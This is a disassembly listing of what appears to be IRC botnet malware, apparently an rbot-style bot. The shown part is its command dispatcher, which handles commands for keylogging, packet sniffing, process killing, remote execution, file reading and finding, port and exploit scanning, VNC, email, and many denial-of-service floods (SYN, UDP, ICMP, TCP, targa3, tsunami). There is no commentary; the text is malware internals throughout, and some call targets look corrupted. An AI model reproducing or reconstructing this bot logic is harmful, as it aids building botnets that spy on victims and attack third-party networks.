jz loc_4092E0
push [ebp+arg_8]
push offset aServer ; "server"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4092C7
push [ebp+arg_8]
push offset aSe ; "se"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4092C7
push [ebp+arg_8]
push offset aDns ; "dns"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40925F
push [ebp+arg_8]
push offset aDn ; "dn"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40925F
push [ebp+arg_8]
push offset aKillproc ; "killproc"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409233
push [ebp+arg_8]
push offset aKp ; "kp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409233
push [ebp+arg_8]
push offset aKill ; "kill"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4091D8
push [ebp+arg_8]
push offset aKi ; "ki"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4091D8
push [ebp+arg_8]
push offset aDelete ; "delete"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4091A0
push [ebp+arg_8]
push offset aDel ; "del"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4091A0
push [ebp+arg_8]
push offset aGet ; "get"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4090C3
push [ebp+arg_8]
push offset aGt ; "gt"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4090C3
push [ebp+arg_8]
push offset aList ; "list"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4090A5
push [ebp+arg_8]
push offset aLi ; "li"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4090A5
push [ebp+arg_8]
push offset aVisit ; "visit"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408FB5
push [ebp+arg_8]
push offset aV ; "v"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408FB5
push [ebp+arg_8]
push offset aMirccmd ; "mirccmd"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408F6F
push [ebp+arg_8]
push offset aMirc ; "mirc"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408F6F
push [ebp+arg_8]
push offset aCmd ; "cmd"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408F18
push [ebp+arg_8]
push offset aCm ; "cm"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408F18
push [ebp+arg_8]
push offset aReadfile ; "readfile"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408EA1
push [ebp+arg_8]
push offset aRf ; "rf"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408EA1
push [ebp+arg_8]
push offset aPsniff ; "psniff"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405C9F
push edi
push offset aOn ; "on"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405C67
push 20h
call sub_40B602
test eax, eax
pop ecx
jle short loc_405B91
push offset dword_42B68C
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_405B91: ; CODE XREF: sub_401ACD+40B8j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_88]
mov [ebp+var_F5C], eax
mov eax, [ebp+var_4]
mov [ebp+var_ED4], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_ED0], eax
jnz short loc_405BD3
mov esi, offset aF_1 ; "#f"
push offset byte_43DB88
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_405BD3
mov esi, [ebp+var_88]
loc_405BD3: ; CODE XREF: sub_401ACD+40E8j
; sub_401ACD+40FEj
push esi
lea eax, [ebp+var_F58]
push 80h
push eax
call sub_41C360
add esp, 0Ch
lea eax, [ebp+var_2C4]
push offset dword_42B65C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 20h
push eax
call sub_40B3BA
add esp, 14h
mov [ebp+var_ED8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_F5C]
push ebx
push eax
push offset byte_412B61
push ebx
push ebx
call near ptr 2680000h
nop
mov ecx, [ebp+var_ED8]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_405C56
loc_405C40: ; CODE XREF: sub_401ACD+4187j
cmp [ebp+var_ECC], ebx
jnz loc_4081AD
push 32h
call near ptr 2670E97h
nop
jmp short loc_405C40
; ---------------------------------------------------------------------------
loc_405C56: ; CODE XREF: sub_401ACD+4171j
nop
call near ptr 2680972h
push eax
push offset dword_42B620
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_405C67: ; CODE XREF: sub_401ACD+40A8j
push edi
push offset aOff ; "off"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4081AD
push ebx
push 20h
call sub_40B5B5
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405C95
push eax
push offset dword_42B5E4
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_405C95: ; CODE XREF: sub_401ACD+41BBj
push offset dword_42B5B8
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_405C9F: ; CODE XREF: sub_401ACD+4093j
push [ebp+arg_8]
push offset aSniffer ; "sniffer"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405DEF
push edi
push offset aOn ; "on"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405DB7
push 21h
call sub_40B602
test eax, eax
pop ecx
jle short loc_405CE1
push offset unk_42B590
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_405CE1: ; CODE XREF: sub_401ACD+4208j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_88]
mov [ebp+var_EC8], eax
mov eax, [ebp+var_4]
mov [ebp+var_E40], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_E3C], eax
jnz short loc_405D23
mov esi, offset aF_1 ; "#f"
push offset byte_43DB88
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_405D23
mov esi, [ebp+var_88]
loc_405D23: ; CODE XREF: sub_401ACD+4238j
; sub_401ACD+424Ej
push esi
lea eax, [ebp+var_EC4]
push 80h
push eax
call sub_41C360
add esp, 0Ch
lea eax, [ebp+var_2C4]
push offset unk_42B564
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 21h
push eax
call sub_40B3BA
add esp, 14h
mov [ebp+var_E44], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_EC8]
push ebx
push eax
push offset sub_4131EC
push ebx
push ebx
nop
call near ptr 2680000h
mov ecx, [ebp+var_E44]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_405DA6
loc_405D90: ; CODE XREF: sub_401ACD+42D7j
cmp [ebp+var_E38], ebx
jnz loc_4081AD
push 32h
nop
call near ptr 2670E97h
jmp short loc_405D90
; ---------------------------------------------------------------------------
loc_405DA6: ; CODE XREF: sub_401ACD+42C1j
nop
call near ptr 2680972h
push eax
push offset unk_42B528
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_405DB7: ; CODE XREF: sub_401ACD+41F8j
push edi
push offset aOff ; "off"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4081AD
push ebx
push 21h
call sub_40B5B5
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405DE5
push eax
push offset unk_42B4EC
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_405DE5: ; CODE XREF: sub_401ACD+430Bj
push offset unk_42B4C0
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_405DEF: ; CODE XREF: sub_401ACD+41E3j
push [ebp+arg_8]
push offset aIdent ; "ident"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405EC2
push edi
push offset aOn ; "on"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_405E8A
push 2
call sub_40B602
test eax, eax
pop ecx
jle short loc_405E2D
push offset dword_42B498
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_405E2D: ; CODE XREF: sub_401ACD+4354j
lea eax, [ebp+var_2C4]
push offset dword_42B46C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 2
push eax
call sub_40B3BA
add esp, 14h
mov esi, eax
lea eax, [ebp+var_10]
push eax
push ebx
push esi
push offset loc_410BFD
push ebx
push ebx
call near ptr 2680000h
nop
imul esi, 234h
cmp eax, ebx
mov dword_43E924[esi], eax
jnz loc_4081AD
nop
call near ptr 2680972h
push eax
push offset dword_42B438
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_405E8A: ; CODE XREF: sub_401ACD+4348j
push edi
push offset aOff ; "off"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4081AD
push ebx
push 2
call sub_40B5B5
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405EB8
push eax
push offset dword_42B400
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_405EB8: ; CODE XREF: sub_401ACD+43DEj
push offset dword_42B3E0
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_405EC2: ; CODE XREF: sub_401ACD+4333j
push [ebp+arg_8]
push offset aKeyloger ; "keyloger"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408D24
push [ebp+arg_8]
push offset aKeylog ; "keylog"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408D24
push [ebp+arg_8]
push offset aStop ; "stop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408CFB
push [ebp+arg_8]
push offset aStop ; "stop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408CFB
push [ebp+arg_8]
push offset aNet ; "net"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_40616D
cmp dword_4CBAA4, ebx
jz short loc_405F4F
cmp dword_4CBACC, ebx
jz short loc_405F4F
push offset unk_42B388
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_405F4F: ; CODE XREF: sub_401ACD+446Ej
; sub_401ACD+4476j
cmp [ebp+var_C], ebx
jz loc_406BFE
mov eax, [ebp+esi+var_88]
mov [ebp+arg_0], ebx
cmp eax, ebx
mov [ebp+arg_18], eax
jz short loc_405F77
push eax
push [ebp+var_C]
call sub_41C2E0
pop ecx
mov [ebp+arg_0], eax
pop ecx
loc_405F77: ; CODE XREF: sub_401ACD+449Aj
push edi
push offset aStart ; "start"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_405FC3
cmp [ebp+arg_18], ebx
jz short loc_405F97
push [ebp+arg_0]
push 3
jmp loc_406021
; ---------------------------------------------------------------------------
loc_405F97: ; CODE XREF: sub_401ACD+44BEj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_418EA8
add esp, 0Ch
test eax, eax
jz short loc_405FB9
push offset unk_42B35C
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_405FB9: ; CODE XREF: sub_401ACD+44E0j
push offset unk_42B33C
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_405FC3: ; CODE XREF: sub_401ACD+44B9j
push edi
push offset aStop ; "stop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_405FDB
push [ebp+arg_0]
push 4
jmp short loc_406021
; ---------------------------------------------------------------------------
loc_405FDB: ; CODE XREF: sub_401ACD+4505j
push edi
push offset aPause ; "pause"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_405FF3
push [ebp+arg_0]
push 5
jmp short loc_406021
; ---------------------------------------------------------------------------
loc_405FF3: ; CODE XREF: sub_401ACD+451Dj
push edi
push offset aContinue ; "continue"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40600B
push [ebp+arg_0]
push 6
jmp short loc_406021
; ---------------------------------------------------------------------------
loc_40600B: ; CODE XREF: sub_401ACD+4535j
push edi
push offset aDelete ; "delete"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_406033
push [ebp+arg_0]
push 1
loc_406021: ; CODE XREF: sub_401ACD+44C5j
; sub_401ACD+450Cj ...
call sub_418C0E
pop ecx
pop ecx
loc_406028: ; CODE XREF: sub_401ACD+459Fj
; sub_401ACD+4628j ...
push eax
push offset aS_1 ; "%s"
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_406033: ; CODE XREF: sub_401ACD+454Dj
push edi
push offset aShare ; "share"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40609B
cmp [ebp+arg_18], ebx
jz short loc_40606E
cmp [ebp+var_8FC], bl
jz short loc_406059
push ebx
push [ebp+arg_18]
push 1
jmp short loc_406064
; ---------------------------------------------------------------------------
loc_406059: ; CODE XREF: sub_401ACD+4582j
push [ebp+esi+var_84]
push [ebp+arg_18]
push ebx
loc_406064: ; CODE XREF: sub_401ACD+458Aj
call sub_418FE5
add esp, 0Ch
jmp short loc_406028
; ---------------------------------------------------------------------------
loc_40606E: ; CODE XREF: sub_401ACD+457Aj
push ebx
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_4191DB
add esp, 10h
test eax, eax
jz short loc_406091
push offset unk_42B2FC
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_406091: ; CODE XREF: sub_401ACD+45B8j
push offset unk_42B2DC
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_40609B: ; CODE XREF: sub_401ACD+4575j
push edi
push offset aUser ; "user"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_406127
mov eax, [ebp+arg_18]
cmp eax, ebx
jz short loc_4060FA
cmp [ebp+var_8FC], bl
jz short loc_4060CD
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
push ebx
push eax
push 1
jmp short loc_4060ED
; ---------------------------------------------------------------------------
loc_4060CD: ; CODE XREF: sub_401ACD+45ECj
push [ebp+var_4]
mov esi, [ebp+esi+var_84]
cmp esi, ebx
push [ebp+var_88]
push [ebp+arg_4]
jz short loc_4060E9
push esi
push eax
push ebx
jmp short loc_4060ED
; ---------------------------------------------------------------------------
loc_4060E9: ; CODE XREF: sub_401ACD+4615j
push ebx
push eax
push 2
loc_4060ED: ; CODE XREF: sub_401ACD+45FEj
; sub_401ACD+461Aj
call sub_4192FC
add esp, 18h
jmp loc_406028
; ---------------------------------------------------------------------------
loc_4060FA: ; CODE XREF: sub_401ACD+45E4j
push ebx
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_41982C
add esp, 10h
test eax, eax
jz short loc_40611D
push offset unk_42B2BC
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_40611D: ; CODE XREF: sub_401ACD+4644j
push offset unk_42B29C
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_406127: ; CODE XREF: sub_401ACD+45DDj
push edi
push offset aSend ; "send"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_406163
cmp [ebp+arg_18], ebx
jz short loc_406159
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_419AE0
add esp, 10h
jmp loc_406028
; ---------------------------------------------------------------------------
loc_406159: ; CODE XREF: sub_401ACD+466Ej
push offset unk_42B270
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_406163: ; CODE XREF: sub_401ACD+4669j
push offset unk_42B254
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_40616D: ; CODE XREF: sub_401ACD+4462j
push [ebp+arg_8]
push offset aGethost ; "gethost"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408C0D
push [ebp+arg_8]
push offset aGh ; "gh"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408C0D
loc_40619B: ; CODE XREF: sub_401ACD+3C8Fj
; sub_401ACD+3CC5j ...
mov eax, [ebp+esi+var_88]
cmp eax, ebx
mov [ebp+arg_18], eax
jz loc_401F75
push [ebp+arg_8]
push offset aKilllog ; "killlog"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408BF0
push [ebp+arg_8]
push offset aKl ; "kl"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408BF0
push [ebp+arg_8]
push offset aAddalias ; "addalias"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408BBE
push [ebp+arg_8]
push offset aAa ; "aa"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408BBE
push [ebp+arg_8]
push offset aPrivmsg_0 ; "privmsg"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408B6D
push [ebp+arg_8]
push offset dword_42B938
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408B6D
push [ebp+arg_8]
push offset aAction ; "action"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408B04
push [ebp+arg_8]
push offset aA ; "a"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408B04
push [ebp+arg_8]
push offset aCycle ; "cycle"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408A9E
push [ebp+arg_8]
push offset aCy ; "cy"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408A9E
push [ebp+arg_8]
push offset aMode ; "mode"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408A64
push [ebp+arg_8]
push offset aM ; "m"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408A64
push [ebp+arg_8]
push offset aC_raw ; "c_raw"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4089F6
push [ebp+arg_8]
push offset aC_r ; "c_r"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4089F6
push [ebp+arg_8]
push offset aC_mode ; "c_mode"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408971
push [ebp+arg_8]
push offset aC_m ; "c_m"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408971
push [ebp+arg_8]
push offset aC_nick ; "c_nick"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408900
push [ebp+arg_8]
push offset aC_n ; "c_n"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408900
push [ebp+arg_8]
push offset aC_join ; "c_join"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4088DA
push [ebp+arg_8]
push offset aC_j ; "c_j"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4088DA
push [ebp+arg_8]
push offset aC_part ; "c_part"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40887A
push [ebp+arg_8]
push offset aC_p ; "c_p"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40887A
push [ebp+arg_8]
push offset aTarga3 ; "targa3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40877F
push [ebp+arg_8]
push offset aT3 ; "t3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40877F
push [ebp+arg_8]
push offset aTsunami ; "tsunami"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4086AA
push [ebp+arg_8]
push offset aTsn ; "tsn"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4086AA
push [ebp+arg_8]
push offset aRepeat ; "repeat"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4085A5
push [ebp+arg_8]
push offset aRp ; "rp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4085A5
push [ebp+arg_8]
push offset aDelay ; "delay"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408508
push [ebp+arg_8]
push offset aDe ; "de"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408508
push [ebp+arg_8]
push offset aHadeth3 ; "HADETH3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408379
push [ebp+arg_8]
push offset aHadeth3 ; "HADETH3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408379
push [ebp+arg_8]
push offset aExecute ; "execute"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4082E6
push [ebp+arg_8]
push offset aE ; "e"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4082E6
push [ebp+arg_8]
push offset aFindfile ; "findfile"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4081D7
push [ebp+arg_8]
push offset aFf ; "ff"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4081D7
push [ebp+arg_8]
push offset aRename ; "rename"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408160
push [ebp+arg_8]
push offset aMv ; "mv"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408160
push [ebp+arg_8]
push offset aIcmpflood ; "icmpflood"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408063
push [ebp+arg_8]
push offset aIcmp ; "icmp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408063
mov eax, [ebp+esi+var_84]
cmp eax, ebx
mov [ebp+arg_0], eax
jz loc_401F75
push [ebp+arg_8]
push offset aClone_0 ; "clone"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407F7B
push [ebp+arg_8]
push offset aC ; "c"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407F7B
push [ebp+arg_8]
push offset aDdos_syn ; "ddos.syn"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407E82
push [ebp+arg_8]
push offset aDdos_ack ; "ddos.ack"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407E82
push [ebp+arg_8]
push offset aDdos_random ; "ddos.random"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407E82
push [ebp+arg_8]
push offset aWisdom_udp ; "wisdom.udp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4066AE
push 7Fh
lea eax, [ebp+var_3280]
pop esi
push esi
push edi
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3200]
push [ebp+arg_18]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3180]
push [ebp+arg_0]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3100]
push [ebp+var_88]
push eax
call sub_41BFD0
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
mov esi, [ebp+arg_4]
mov [ebp+var_3078], eax
push ebx
lea eax, [ebp+var_2C4]
push 13h
push eax
mov [ebp+var_307C], edi
mov [ebp+var_3284], esi
call sub_40B3BA
add esp, 3Ch
mov [ebp+var_3080], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3284]
push ebx
push eax
push offset word_41525A
push ebx
push ebx
call near ptr 2680000h
nop
mov ecx, [ebp+var_3080]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40669D
loc_406687: ; CODE XREF: sub_401ACD+4BCEj
cmp [ebp+var_3074], ebx
jnz loc_403D46
push 32h
nop
call near ptr 2670E97h
jmp short loc_406687
; ---------------------------------------------------------------------------
loc_40669D: ; CODE XREF: sub_401ACD+4BB8j
nop
call near ptr 2680972h
push eax
push offset unk_42B0E0
jmp loc_403D37
; ---------------------------------------------------------------------------
loc_4066AE: ; CODE XREF: sub_401ACD+4B0Ej
push [ebp+arg_8]
push offset aSynflood ; "synflood"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407D9A
push [ebp+arg_8]
push offset aSyn ; "syn"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407D9A
push [ebp+arg_8]
push offset aSkysyn ; "skysyn"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4067DB
push 7Fh
lea eax, [ebp+var_36A8]
pop esi
push esi
push edi
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3628]
push [ebp+arg_18]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_35A8]
push [ebp+arg_0]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3528]
push [ebp+var_88]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_34A4], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_34A0], eax
lea eax, [ebp+var_2C4]
push [ebp+arg_18]
mov [ebp+var_36AC], esi
push edi
push offset dword_42B098
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 10h
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_34A8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_36AC]
push ebx
push eax
push offset word_4141B2
push ebx
push ebx
nop
call near ptr 2680000h
mov ecx, [ebp+var_34A8]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_4067CA
loc_4067B4: ; CODE XREF: sub_401ACD+4CFBj
cmp [ebp+var_349C], ebx
jnz loc_407196
push 32h
call near ptr 2670E97h
nop
jmp short loc_4067B4
; ---------------------------------------------------------------------------
loc_4067CA: ; CODE XREF: sub_401ACD+4CE5j
nop
call near ptr 2680972h
push eax
push offset dword_42B05C
jmp loc_407187
; ---------------------------------------------------------------------------
loc_4067DB: ; CODE XREF: sub_401ACD+4C20j
push [ebp+arg_8]
push offset aPhatwonk ; "phatwonk"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407CB2
push [ebp+arg_8]
push offset aWonk ; "wonk"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407CB2
push [ebp+arg_8]
push offset aNazel3 ; "NAZEL3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407B74
push [ebp+arg_8]
push offset aNazel3 ; "NAZEL3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407B74
push [ebp+arg_8]
push offset aRedirect ; "redirect"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407A77
push [ebp+arg_8]
push offset aRd ; "rd"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407A77
push [ebp+arg_8]
push offset aScan ; "scan"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407984
push [ebp+arg_8]
push offset aSc ; "sc"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407984
push [ebp+arg_8]
push offset aC_privmsg ; "c_privmsg"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407887
push [ebp+arg_8]
push offset aC_pm ; "c_pm"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407887
push [ebp+arg_8]
push offset aC_action ; "c_action"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407797
push [ebp+arg_8]
push offset aC_a ; "c_a"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407797
mov eax, [ebp+esi+var_80]
cmp eax, ebx
mov [ebp+arg_10], eax
jz loc_401F75
push [ebp+arg_8]
push offset aPortscan ; "portscan"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407691
push [ebp+arg_8]
push offset aPsc ; "psc"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407691
push [ebp+arg_8]
push offset aAdvscan ; "advscan"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4071B6
push [ebp+arg_8]
push offset aAd ; "ad"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4071B6
push [ebp+arg_8]
push offset aUdpflood ; "udpflood"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40706D
push [ebp+arg_8]
push offset aUdp ; "udp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40706D
push [ebp+arg_8]
push offset aU ; "u"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40706D
push [ebp+arg_8]
push offset aNetsend ; "netsend"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_406F5F
push [ebp+arg_8]
push offset aNs ; "ns"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_406F5F
push [ebp+arg_8]
push offset aPingflood ; "pingflood"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_406E35
push [ebp+arg_8]
push offset aPing_0 ; "ping"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_406E35
push [ebp+arg_8]
push offset aP ; "p"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_406E35
push [ebp+arg_8]
push offset aVnchost ; "vnchost"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_406A5A
push edi
call sub_41B52C
pop ecx
lea eax, [ebp+var_2C4]
push edi
push offset aVncHttpHostCha ; "VNC: HTTP Host Changed To: %s"
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_401F75
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
jmp loc_4040AB
; ---------------------------------------------------------------------------
loc_406A5A: ; CODE XREF: sub_401ACD+4F56j
push [ebp+arg_8]
push offset aTcpflood ; "tcpflood"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_406C8E
push [ebp+arg_8]
push offset aTcp ; "tcp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_406C8E
push [ebp+arg_8]
push offset aEmail ; "email"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_406C36
lea eax, [ebp+var_46F0]
push edi
push eax
call sub_41C890
push [ebp+arg_18]
call sub_41C159
push [ebp+arg_0]
mov [ebp+arg_18], eax
lea eax, [ebp+var_438C]
push eax
call sub_41C890
push [ebp+arg_10]
lea eax, [ebp+var_458C]
push eax
call sub_41C890
